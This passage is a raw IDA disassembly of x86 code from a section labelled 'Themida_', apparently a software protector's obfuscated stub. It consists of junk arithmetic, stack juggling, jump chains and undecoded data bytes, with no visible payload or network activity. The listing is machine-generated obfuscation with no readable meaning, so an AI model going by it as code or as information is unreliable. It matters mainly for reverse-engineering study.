		dd 2434FFFFh, 0FF2434FFh, 83582434h, 9E904C4h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50907F:				; CODE XREF: Themida_:0051349Cj
		mov	edi, 7F56727Dh
		mov	edx, 80A98D84h
		jmp	loc_510954
; ---------------------------------------------------------------------------
		dw 3166h
		dd 14E958C2h, 29000059h, 8F2BE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50909E:				; CODE XREF: Themida_:005107E2j
		add	ecx, 4A194461h
		sub	ecx, ebx
		sub	ecx, 4A194461h
		pop	ebx
		push	14A0h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5028A7
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 56000000h, 4BEh, 5EF10100h, 207AE9h
		db 0
; ---------------------------------------------------------------------------

loc_5090E1:				; CODE XREF: Themida_:0050DCE1j
		add	esp, 4
		sub	esp, 4
		jmp	loc_5141BA
; ---------------------------------------------------------------------------
		dd 111068h, 241C8900h, 1756C3BBh, 0ED30E918h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5090FE:				; CODE XREF: Themida_:0050DA6Cj
		add	ebx, esi
		jmp	loc_4FFF3E
; ---------------------------------------------------------------------------

loc_509105:				; CODE XREF: Themida_:00504B0Fj
		mov	[esp], edx
		jmp	loc_50D1E7
; ---------------------------------------------------------------------------

loc_50910D:				; CODE XREF: Themida_:005052FCj
		push	6F052933h
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5027C7
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2434h, 0B353240Ch, 0DC885008h, 0FFD68FE9h, 0DFBA52FFh
		dd 145FC6Ch, 0F5015AD5h, 6CDFED81h, 0EC8145FCh,	4, 0F29E9h
		dd 244E6800h, 5158291Ah, 0C33095B9h, 2EC1816Eh,	812EE525h
		dd 5B5762E9h, 0BDF1810Ch, 813BAE64h, 724694F1h,	4EF18122h
		dd 0E918E027h, 56ACh
; ---------------------------------------------------------------------------

loc_509180:				; CODE XREF: Themida_:0050A69Bj
		pop	edi
		xor	ecx, edi
		xor	edi, ecx
		jmp	loc_50391C
; ---------------------------------------------------------------------------

loc_50918A:				; CODE XREF: Themida_:0051193Bj
		add	esp, 4
		push	esi
		mov	esi, 0FFFFFFFFh
		jmp	loc_508ACA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 35A6804h, 34890000h, 327DBE24h, 0F6812183h
		dd 26ED4AA3h, 4431EE81h, 0DEF75FC5h, 0FFBAF7E9h, 0B05051FFh
		dd 6E8C0B0h, 0C588132Ch, 49206858h, 4890000h, 88EC8824h
		dd 0E95958E2h, 0FFFFE873h, 4B850h, 0C7290000h, 78E95758h
		dd 81FFFFABh, 4C2h, 4C28100h, 0E9000000h, 0FFFFAC83h, 348BF109h
		dd 8DB7E924h, 295BFFFFh, 0BCBB53CAh, 163CC45h, 0E9595BDAh
		dd 0FFFF65FAh, 9670E95Fh, 0C7830000h, 243C3304h, 0E9243C31h
		dd 0FFFF9715h, 4EC81h, 34890000h, 1B85024h, 25497C09h
		dd 3FE51A9Bh, 0B8750535h, 58C6890Ch, 10B568h, 0B37FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509256:				; CODE XREF: Themida_:00512B28j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_504EA2
; ---------------------------------------------------------------------------

loc_509261:				; CODE XREF: Themida_:005107F8j
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edx, 4F776A54h
		add	edx, eax
		sub	edx, 4F776A54h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_509D26
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 45h
		dd 0FFA5ADE9h, 9AE953FFh, 81FFFF9Bh, 847E50EEh,	7DF0E920h
		dd 0B951FFFFh, 1FA17A0Dh, 3D7EE181h, 1CE93E6Ch
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5092BF:				; CODE XREF: Themida_:005019F5j
		inc	ebx
		jmp	loc_50CAB9
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 42E95124h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5092CF:				; CODE XREF: Themida_:00512EDAj
		pop	eax
		push	edi
		push	724Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	69A1h
		mov	[esp], ebp
		push	38F322B4h
		jmp	loc_512E2F
; ---------------------------------------------------------------------------
		dd 4C48158h, 0E9000000h, 0FFFF651Ah, 3F90C281h,	0DA013FFAh
		dd 6E36BB53h, 0C38126E6h, 1913D15Ah, 6481B951h,	0CA294D28h
		dd 0CBF5759h, 0C1074A0Bh, 8CE903E7h, 4000015h, 1B75359h
		dd 0E95BF800h, 0FFFFC8DBh
; ---------------------------------------------------------------------------

loc_509334:				; CODE XREF: Themida_:0050FE8Aj
		sub	esi, eax
		add	esi, 16841765h
		pop	eax
		jmp	loc_504F06
; ---------------------------------------------------------------------------
		dw 5966h
		dd 8904EC83h, 73B62414h, 0E6D0DEF6h, 0E950DEF6h, 0FFFFACD6h
		dd 0CE80DFB6h, 7FC68022h, 0C05AF700h, 0E7C003EFh, 0B5515008h
		dd 6742E92Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509372:				; CODE XREF: Themida_:00500DF5j
		mov	ch, 78h
		and	ch, 0F6h
		shr	ch, 6
		push	edx
		mov	dl, 0D0h
		dec	dl
		jmp	loc_50393F
; ---------------------------------------------------------------------------
		dd 75D10566h, 0BA665266h, 29662A9Dh, 665A66D0h,	4AE9D829h
		dd 57FFFF81h, 0FFEE98E9h, 0E08950FFh, 9EC68h, 24348900h
		dd 542E98BEh, 6CC6817Ah, 185ABD1h, 0BF575EF0h, 2, 999DE9h
		dd 0E9F02800h, 87A7h, 4EC81h, 4890000h,	0E9E08924h, 0FFFFCB6Ch
; ---------------------------------------------------------------------------

loc_5093DC:				; CODE XREF: Themida_:0050612Ej
		sub	ebp, esi
		sub	ebp, 2B016EF5h
		push	edi
		mov	edi, 7BF72DFBh
		not	edi
		or	edi, 12122051h
		inc	edi
		push	ecx
		mov	ecx, 0EB7ABAD9h
		xor	edi, ecx
		jmp	loc_514525
; ---------------------------------------------------------------------------
aIHO		db ',$h(O',0
		align 4
aTsyb		db 'TYB',0
		align 2
		dw 94BBh
		dd 0C152406Ah, 814302E3h, 5F62CCE3h, 6B22E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509422:				; CODE XREF: Themida_:005085A1j
		mov	ebx, esp
		jmp	loc_507205
; ---------------------------------------------------------------------------
		db 0FEh, 0C2h, 80h
		dd 0D30050F2h, 0FF9CBEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_509435:				; CODE XREF: Themida_:00508B9Aj
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		cmp	cx, ax
		pushf
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
		dd 24448166h, 0E97BD206h, 0FFFFA1E0h, 4268DA01h, 89000014h
		dd 6856240Ch, 3E670A61h, 31A2E9h, 0C2E95600h, 80FFFFB9h
		dd 89E9C1CEh
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509477:				; CODE XREF: Themida_:00503E7Ej
		mov	esp, [esp]
		rep movsd
		add	esp, [edx+38h]
		push	eax
		jmp	loc_50352F
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FFCB28E9h, 242489FFh, 4EC8151h, 89000000h, 7AE92434h
		dd 5F00006Bh, 4C91F681h, 0F5015E85h, 0B0E9E95Eh, 535FFFFFh
		dd 98E9E389h, 89000050h, 4BB241Ch, 1000000h, 8B04245Ch
		dd 0C481241Ch, 4, 4B8505Eh, 53000000h, 0DC4A7EBBh, 6E3C153h
		dd 0E3C1EBD1h, 0E9D3F705h, 8299h
; ---------------------------------------------------------------------------

loc_5094E8:				; CODE XREF: Themida_:0051153Dj
		pop	ebp
		inc	ecx
		xor	ecx, 2805770Fh
		add	ebp, ecx
		pop	ecx
		mov	esi, ebp
		pop	ebp
		sub	dword ptr [esp+4], 47944873h
		jmp	loc_502E05
; ---------------------------------------------------------------------------
		db 83h
		dd 348904ECh, 974BE24h,	28E97158h
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_509513:				; CODE XREF: Themida_:0050D061j
		sub	edi, 1AC73EEh
		xor	edi, 48C990CEh
		and	ebx, edi
		pop	edi
		xchg	edi, ebx
		not	edi
		xor	ebx, edi
		xor	edi, ebx
		xor	ebx, edi
		dec	ebx
		push	edx
		mov	edx, 113A3410h
		push	ebp
		mov	ebp, 0FFFFFFFFh
		jmp	loc_507885
; ---------------------------------------------------------------------------

loc_50953E:				; CODE XREF: Themida_:00505374j
		push	3582h
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_50837C
; ---------------------------------------------------------------------------

loc_509551:				; CODE XREF: Themida_:005141C3j
		sub	edi, 6C617032h
		add	edi, ecx
		jmp	loc_509C26
; ---------------------------------------------------------------------------

loc_50955E:				; CODE XREF: Themida_:00502739j
		add	ebp, 0B1E3E69Bh
		add	esi, ebp
		pop	ebp
		pop	edx
		push	edx
		push	4
		pop	edx
		add	esi, edx
		pop	edx
		jmp	loc_508582
; ---------------------------------------------------------------------------
		db ']h',0Ah,0
		dd 0CD89E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509582:				; CODE XREF: Themida_:0050DBB4j
		add	edi, esi
		pop	esi
		sub	eax, edi
		pop	edi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		mov	eax, 4EA14CA5h
		push	edx
		mov	edx, 3C33350Fh
		xor	edx, 738F6CF6h
		jmp	loc_506AE7
; ---------------------------------------------------------------------------

loc_5095A9:				; CODE XREF: Themida_:005033F2j
		sub	al, dl
		sub	al, 31h
		pop	edx
		jmp	loc_500985
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF9E1DE9h, 4C483FFh, 3F1DF681h, 0CE814C47h,	1D773519h
		dd 0C049C681h, 0C181E000h, 677C27A2h, 3378C181h, 0F10130BFh
		dd 0FFAE2FE9h, 240481FFh, 4, 6043E95Dh,	2C330000h, 29B0E924h
		dd 835D0000h, 0D7E904C1h, 5F0000A7h, 7157C381h,	10E90DE8h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50960B:				; CODE XREF: Themida_:0050BA8Fj
		push	eax
		jmp	loc_504DB6
; ---------------------------------------------------------------------------
		db 55h,	81h, 2Ch
		dd 35068C24h, 0C1815948h, 4835068Ch, 7881E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_509626:				; CODE XREF: Themida_:00513EBEj
		inc	edi
		sub	edi, 0FFFFFFFFh
		push	2542h
		mov	[esp], edx
		jmp	loc_50B1A7
; ---------------------------------------------------------------------------
		dw 0CC0Dh
		dd 0C16A0845h, 354804E8h, 5CDA05D3h, 0B6629E0Dh, 137F2D5Ch
		dd 0C12944E4h, 582434FFh, 4C481h, 0C8290000h, 0C7A3E959h
		dd 0D3B9FFFFh, 89280C44h, 0C78959C8h, 0BB5358h,	29000000h
		dd 5BDF89FBh, 501FCF81h, 90E95B06h, 0F700007Fh,	81D687D2h
		dd 0A0845AF6h, 0C4D7E9E2h, 0DAF7FFFFh, 6417E9h,	81FD2900h
		dd 0F91AE2EDh, 0E8C58157h, 5F057406h, 0FAF5814Dh, 140CE06h
		dd 68515DE8h, 7B59h, 0BB241C89h, 5D5380Ah, 242C8153h, 57C5303Bh
		dd 0FFA99BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5096D1:				; CODE XREF: Themida_:004FF988j
		sub	edi, 804867BEh
		sub	ebp, edi
		jmp	loc_5071B0
; ---------------------------------------------------------------------------

loc_5096DE:				; CODE XREF: Themida_:005060DEj
		push	esp
		jmp	loc_510283
; ---------------------------------------------------------------------------
		dd 48BC788h, 6DB3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5096EE:				; CODE XREF: Themida_:0050D811j
		push	6F61h
		mov	[esp], eax
		push	edx
		push	ebp
		push	edx
		jmp	loc_50BA62
; ---------------------------------------------------------------------------

loc_5096FE:				; CODE XREF: Themida_:0051343Fj
		push	ebp
		pop	edx
		pop	ebp
		jmp	loc_50DDA8
; ---------------------------------------------------------------------------
		dw 0B652h
		dd 5AF488B8h, 3D39E9h
		db 0
; ---------------------------------------------------------------------------

loc_509711:				; CODE XREF: Themida_:004FF8BEj
		push	ebx
		mov	bl, 2Eh
		mov	dh, 83h
		add	dh, bl
		pop	ebx
		sub	ah, dh
		pop	edx
		push	ecx
		mov	ch, ah
		mov	bl, ch
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	cl, 0E3h
		push	ebx
		mov	bl, 17h
		add	cl, bl
		jmp	loc_511E86
; ---------------------------------------------------------------------------

loc_509735:				; CODE XREF: Themida_:00507624j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_511B30
; ---------------------------------------------------------------------------
		db 25h,	0B1h, 10h
		dd 0D0F75C65h, 6770162Dh, 0A9054017h, 8923CB80h, 0EA8158C7h
		dd 1BC3003Eh, 4ED3C281h, 59E905A8h
		db 0B0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_509767:				; CODE XREF: Themida_:0050B4F6j
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_501513
; ---------------------------------------------------------------------------
		dd 8704C183h, 555C240Ch, 4BDh, 5DEF0100h, 3304C783h, 3C31243Ch
		dd 243C3324h, 4A30F5Ch,	73E99C24h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5097A3:				; CODE XREF: Themida_:0050428Fj
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		push	3B8F1AA1h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_504514
; ---------------------------------------------------------------------------

loc_5097C1:				; CODE XREF: Themida_:0050EB31j
		mov	ecx, [esp]
		jmp	loc_512596
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FFCA6EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5097D1:				; CODE XREF: Themida_:004FFF3Fj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_50392F
; ---------------------------------------------------------------------------
		dd 5E2DC829h, 2D011548h, 533E1AB4h, 0A183E959h,	0E952FFFFh
		dd 0FFFF6655h, 5F26B9BAh, 4BC28123h, 1DCA0D9h, 24F4E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50980A:				; CODE XREF: Themida_:00513980j
		sub	esp, 4
		jmp	loc_508EAB
; ---------------------------------------------------------------------------
		db 53h,	68h, 0BFh
		dd 5B593B5Bh, 1B55BF57h, 0FB31525Dh, 43BD555Fh,	0C1366123h
		dd 0AE903EDh, 66000064h, 0E924048Bh, 172h
; ---------------------------------------------------------------------------

loc_50983C:				; CODE XREF: Themida_:0050C038j
		push	ecx
		push	ebp
		mov	ebp, 319F40CDh
		push	esi
		mov	esi, 7056F0Ah
		sub	esi, 17AB0A06h
		jmp	loc_50B057
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 8DF9E900h, 0C1800000h, 2EE18046h, 66DF68h
		dd 24048900h, 4EC81h, 14890000h, 0A6A0E924h, 1C31FFFFh
		dd 241C3324h, 0E924248Bh, 4913h, 50C8BF0Fh, 4055854h, 51000000h
		dd 8904EC83h, 0E7E9242Ch
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5098A3:				; CODE XREF: Themida_:0050A617j
		pop	ebp
		push	5952h
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_50FE81
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 0E99C241Ch, 0FFFFB49Eh, 568EED81h, 0F5814440h, 0A70FFAA5h
		dd 0FFFD40E9h, 574E59FFh, 181EE9h, 81E18900h, 4C1h, 4BA5200h
		dd 0E9000000h, 4B73h, 86240C86h, 86D7F6F9h, 240C86F9h
		dd 0FF72E4E9h, 24048BFFh, 52E08950h, 9A071DBAh,	1778E966h
		dd 68570000h, 194Bh, 0E9240489h, 0FFFF7298h, 4ADAF75Fh
		dd 6BC28142h, 81314274h, 0D9652AC2h, 5AD0291Dh,	216268h
		dd 24148900h, 90104EBAh, 0C9BF5717h, 0E9369116h, 0FFFFBB04h
		dd 282206BBh, 5247687Fh, 5CE90000h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_509957:				; CODE XREF: Themida_:00500323j
		mov	ecx, ebx
		push	ecx
		add	dword ptr [esp], 69787EECh
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_50E098
; ---------------------------------------------------------------------------

loc_509975:				; CODE XREF: Themida_:0050D274j
		shl	eax, 1
		push	153Eh
		mov	[esp], ebx
		mov	ebx, 637F0A6Eh
		jmp	loc_50DFB4
; ---------------------------------------------------------------------------

loc_509989:				; CODE XREF: Themida_:0051446Ej
		xor	ebp, 0D352B01h
		mov	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_5089DE
; ---------------------------------------------------------------------------
		db 58h,	0, 0F0h
		dd 0A975E9h, 24148700h,	240CFF5Ch, 0EA26E99Ch, 2168FFFFh
		dd 8900003Fh, 0EC83242Ch, 48F5404h, 68505224h, 656B063Bh
		dd 0ABE94858h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5099CB:				; CODE XREF: Themida_:00509CDEj
		pop	esi
		add	eax, edi
		push	ebx
		mov	ebx, 0
		add	ebx, eax
		jmp	loc_50BDCB
; ---------------------------------------------------------------------------

loc_5099DB:				; CODE XREF: Themida_:0050B99Fj
		sub	ebx, 598D1229h
		pop	ecx
		push	edx
		push	24h
		mov	[esp], edi
		mov	edi, 4
		mov	edx, edi
		pop	edi
		add	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_50E685
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 8
		dd 29E9E7D1h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509A0B:				; CODE XREF: Themida_:005123F1j
		xor	edi, ebx
		pop	ebx
		jmp	loc_50D99C
; ---------------------------------------------------------------------------
		db 66h
		dd 81240C8Bh, 4ECh, 242C8900h, 9B55E9h
		db 0
; ---------------------------------------------------------------------------

loc_509A25:				; CODE XREF: Themida_:00514333j
		push	ebp
		push	esp
		jmp	loc_500EED
; ---------------------------------------------------------------------------
		dd 68535F54h, 4, 5BDF015Bh, 4C781h, 3C870000h, 5823E924h
		dd 68510000h, 0F553795h, 0FF735EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_509A51:				; CODE XREF: Themida_:0050F94Aj
		pop	edx
		pop	edx
		jmp	loc_50D066
; ---------------------------------------------------------------------------

loc_509A58:				; CODE XREF: Themida_:004FFF39j
		push	2090h
		mov	[esp], eax
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_50D8BC
; ---------------------------------------------------------------------------

loc_509A6B:				; CODE XREF: Themida_:00508C8Fj
		add	edi, 0FFFFFFFFh
		xor	edi, 191609EBh
		xor	edi, 17956D68h
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		mov	ecx, 21641B99h
		shr	ecx, 8
		push	esi
		mov	esi, 39502956h
		inc	esi
		dec	esi
		xor	esi, 0F9385168h
		add	ecx, esi
		jmp	loc_50238C
; ---------------------------------------------------------------------------
		dd 0F281DAF7h, 298D7E21h, 69E9D601h, 80FFFFD7h,	0D6F66AEEh
		dd 5108EEC0h, 0C9FEF188h, 88CC8850h, 0E95958E6h, 0FFFF8894h
; ---------------------------------------------------------------------------

loc_509ACC:				; CODE XREF: Themida_:00507F8Fj
		pop	esp
		jmp	loc_50EEAE
; ---------------------------------------------------------------------------
		dw 0EE88h
		dd 0E2F68059h, 489DE9h,	4EC8100h, 89000000h, 3FBD242Ch
		dd 0E97B0042h, 8E0Fh, 9342E95Dh, 4890000h, 0B0BB5324h
		dd 0B813BD2Eh, 9272876Ah, 9E9D829h, 8F00000Ch, 248B2404h
		dd 0D1EDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509B16:				; CODE XREF: Themida_:0050F024j
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		jmp	loc_50C369
; ---------------------------------------------------------------------------
		dw 0FBB9h
		dd 8952FC50h, 240C8BCBh, 0C104C483h, 0E95504E3h, 6ED6h
		dd 58E9D029h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509B43:				; CODE XREF: Themida_:0050C687j
		sub	ebx, 6BF21D12h
		shl	ebx, 7
		push	2B50h
		mov	[esp], eax
		mov	eax, 7F916617h
		sub	eax, 667E7216h
		or	eax, 18A75E0Bh
		add	eax, 631F43ECh
		xchg	eax, edi
		jmp	loc_5010FB
; ---------------------------------------------------------------------------

loc_509B6E:				; CODE XREF: Themida_:0050CA7Aj
		mov	esi, [esp]
		jmp	loc_50E6B9
; ---------------------------------------------------------------------------
a_ps		db '_P{,',0
		dd 0F7D9F700h, 0D4E941D9h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509B87:				; CODE XREF: Themida_:0050CF25j
		push	ebx
		push	59952194h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_50D2C3
; ---------------------------------------------------------------------------

loc_509B98:				; CODE XREF: Themida_:00500D74j
		sub	edi, 5FCB39Ch
		jmp	loc_50F1CC
; ---------------------------------------------------------------------------
		db 52h
		dd 7044EABAh, 6C45E91Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509BAE:				; CODE XREF: Themida_:0050C1F7j
		pop	ebp
		sub	dword ptr [esp+4], 49082E04h
		add	[esp+4], edi
		add	dword ptr [esp+4], 49082E04h
		mov	edi, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, 3A2078AFh
		neg	edi
		add	edi, 50E19112h
		add	edx, 4B1F49C0h
		sub	edx, edi
		sub	edx, 4B1F49C0h
		pop	edi
		push	529Fh
		mov	[esp], ebx
		push	4F70h
		mov	[esp], edi
		mov	edi, edx
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		jmp	loc_51196F
; ---------------------------------------------------------------------------
		dd 1381F681h, 0E6C14CDCh, 9D78E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_509C26:				; CODE XREF: Themida_:00509559j
		add	edi, 6C617032h
		add	edi, 567008BEh
		push	esi
		mov	esi, 54885C5Ah
		dec	esi
		sub	esi, 29182ED3h
		add	edi, 1E9D7701h
		sub	edi, esi
		push	ebx
		mov	ebx, 1E9D7701h
		sub	edi, ebx
		pop	ebx
		pop	esi
		push	ecx
		mov	ecx, 61CC1F0Ah
		push	esi
		mov	esi, 20D42C1Bh
		and	ecx, esi
		pop	esi
		push	edi
		jmp	loc_4FFB1A
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 8D9FE8A4h, 0E95EF201h, 0FFFFFF2Fh
; ---------------------------------------------------------------------------

loc_509C74:				; CODE XREF: Themida_:005105C1j
		mov	esi, 4
		jmp	loc_5014B9
; ---------------------------------------------------------------------------
		dw 0F031h
		dd 0E9C2015Eh, 0FFFF85A1h, 79A9E957h, 0C4830000h, 81FB0104h
		dd 927104EBh, 2434FF0Fh, 0E689565Fh, 4C681h, 0C6830000h
		dd 74FF5604h, 8F5E0424h, 0E95C2404h, 0FFFF836Fh, 0C7080E04h
		dd 26B15158h, 8084C180h, 0CF30F0C1h, 0E902B559h, 3323h
		dd 8C7C2068h, 0F3E95A10h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509CDB:				; CODE XREF: Themida_:0050BAEAj
		add	esp, 4
		jmp	loc_5099CB
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0FF93E6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_509CE9:				; CODE XREF: Themida_:00503317j
		mov	[esp], ebx
		mov	ebx, 67D27AF1h
		sub	ecx, 8DF10E1h
		add	ecx, 1932063Eh
		sub	ecx, ebx
		sub	ecx, 1932063Eh
		add	ecx, 8DF10E1h
		pop	ebx
		push	dword ptr [ecx]
		pop	eax
		pop	ecx
		push	dword ptr [edi+eax*4]
		jmp	loc_502B95
; ---------------------------------------------------------------------------
		dd 33240431h, 248B2404h, 6ED6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509D26:				; CODE XREF: Themida_:00509290j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_50D10B
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C78103E7h, 9C3DE98Bh, 0F75FFB89h, 0EBC381D3h, 0E9135907h
		dd 0FFFFB828h, 0B4505166h, 5E4C008h, 0E9D8E480h, 0FFFF82DFh
; ---------------------------------------------------------------------------

loc_509D70:				; CODE XREF: Themida_:00510730j
		mov	edx, ecx
		pop	ecx
		mov	esi, 13914422h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_504E1C
; ---------------------------------------------------------------------------

loc_509D88:				; CODE XREF: Themida_:0050723Fj
		add	eax, ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	ecx, eax
		jmp	loc_508C94
; ---------------------------------------------------------------------------
		dd 1C8BDF01h, 8E9BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509DAE:				; CODE XREF: Themida_:00506525j
		sub	ebx, 491373BAh
		jmp	loc_502368
; ---------------------------------------------------------------------------
		db 5Fh,	1, 0DAh
		dd 7C5BC281h, 0FF5B49E6h, 25E92434h, 83FFFFF5h,	0B85004C4h
		dd 12E1161h, 0CB04AD25h, 6E8C13Eh, 415ED52Dh, 36D9056Eh
		dd 0C5016E41h, 0BE70E958h, 815FFFFFh, 4A78A2EAh, 5AD1010Bh
		dd 4EC81h, 1C890000h, 1D8DE924h, 0C330000h, 240C3124h
		dd 5C240C33h, 4BD55h, 0E9810000h, 7A0B36ABh, 13B0E981h
		dd 0E9011612h, 7E9h, 0E9EED100h, 0FFFF6A68h, 573ABB53h
		dd 0F381258Bh, 3399448Ah, 0E95BD901h, 0FFFFCE04h, 8E8CE95Eh
		dd 4BF0000h, 1000000h, 4055FF8h, 87000000h, 0CE92404h
		dd 0F7000043h, 0FFCF81DFh, 81647A0Eh, 8DAB15EFh, 5FF929C4h
		dd 6CA3E981h, 4F68078Fh, 89000077h, 89E9242Ch
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_509E83:				; CODE XREF: Themida_:00502399j
		sub	edi, 3CE23BD3h
		add	edi, ebp
		jmp	loc_50882C
; ---------------------------------------------------------------------------
		dd 0FF5981E9h, 50E959FFh
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_509E9B:				; CODE XREF: Themida_:005053F4j
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_506517
; ---------------------------------------------------------------------------
		db 0F7h
aQVNZ0sw	db '',7,'V',9,'0w',0
		db 0
; ---------------------------------------------------------------------------

loc_509EC7:				; CODE XREF: Themida_:00508EB0j
		push	ebp
		mov	ebp, 7A705B58h
		shl	ebp, 7
		xor	ebp, 382DAC04h
		add	eax, ebp
		pop	ebp
		jmp	loc_50BE28
; ---------------------------------------------------------------------------

loc_509EDE:				; CODE XREF: Themida_:00505810j
		add	ebx, 49AB163Ah
		jmp	loc_514473
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0F1h
		dd 17F622Fh, 0F1C681EEh, 5D7F622Fh, 5716E981h, 0F1010541h
		dd 0FFE505E9h, 8BF201FFh, 89532434h, 4C381E3h, 81000000h
		dd 4C3h, 39E95300h, 68FFFFB0h, 0A40h, 24048F54h, 4240481h
		dd 58000000h, 0E904EC83h, 945Fh
; ---------------------------------------------------------------------------

loc_509F38:				; CODE XREF: Themida_:0050FC2Bj
		pop	eax
		jmp	loc_50E473
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 0F1814903h, 2A1BA1B6h, 1595851h, 0E9042444h,	250Ch
		dd 0C15DEE21h, 0E95106EEh, 0FFFF7B90h, 0E6E99E2Ch
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509F67:				; CODE XREF: Themida_:00503B8Cj
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		or	ebx, ebx
		jnz	loc_511454
		push	6FC4h
		mov	[esp], edx
		jmp	loc_50A18F
; ---------------------------------------------------------------------------
		db 59h
		dd 0FF7FEFE9h, 57E8D1FFh, 3363E9h, 5B136800h, 3C890000h
		dd 0C4E95124h
		db 1Fh,	2 dup(0)
